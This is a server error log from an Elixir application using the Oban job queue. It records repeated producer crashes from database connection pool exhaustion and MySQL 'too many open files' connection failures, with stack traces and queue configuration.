[Sun Sep  6 00:37:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:37:01.239595Z], limit: 5, uuid: "4dd70232-35e3-401f-9da5-292a3f969df0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:01.239601Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207038>, refresh_timer: #Reference<0.2525715032.1121189889.207004>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:37:01.239738Z], limit: 20, uuid: "4c21cc6e-9bf3-4521-b383-f40ffc3ff1ba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:01.239743Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.46836>, refresh_timer: #Reference<0.2525715032.1077673987.46830>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:13.501000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:16.855000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:19.381000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:19.745000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:23.441000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:37:13.239261Z], limit: 10, uuid: "b5fbb2af-b346-431c-8231-fc039cf2ef77", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:13.239267Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207447>, refresh_timer: #Reference<0.2525715032.1099431938.64450>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:37:13.240348Z], limit: 5, uuid: "ead2e146-80ef-4c57-a4dc-0ecc53492135", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:13.240353Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207451>, refresh_timer: #Reference<0.2525715032.1068498948.67506>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:25.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:37:13.239575Z], limit: 3, uuid: "53300c6b-4d3a-4b8d-8089-3d264279d0f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:13.239580Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207449>, refresh_timer: #Reference<0.2525715032.1099431938.64464>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:25.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:37:13.239820Z], limit: 50, uuid: "99034a51-829b-4600-8aae-026e0e1a9ce3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:13.239828Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207446>, refresh_timer: #Reference<0.2525715032.1121189889.207420>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:25.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:37:13.240727Z], limit: 20, uuid: "f07989f6-2999-4d95-934a-b1c758d114da", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:13.240733Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207450>, refresh_timer: #Reference<0.2525715032.1068498948.67518>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:25.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:37:13.238621Z], limit: 5, uuid: "f2551485-c875-4aa6-a840-6c660598a2e8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:13.238631Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207448>, refresh_timer: #Reference<0.2525715032.1099431938.64451>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:28.809000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:29.072000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:31.399000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:31.465000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:33.804000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:34.866000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:35.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
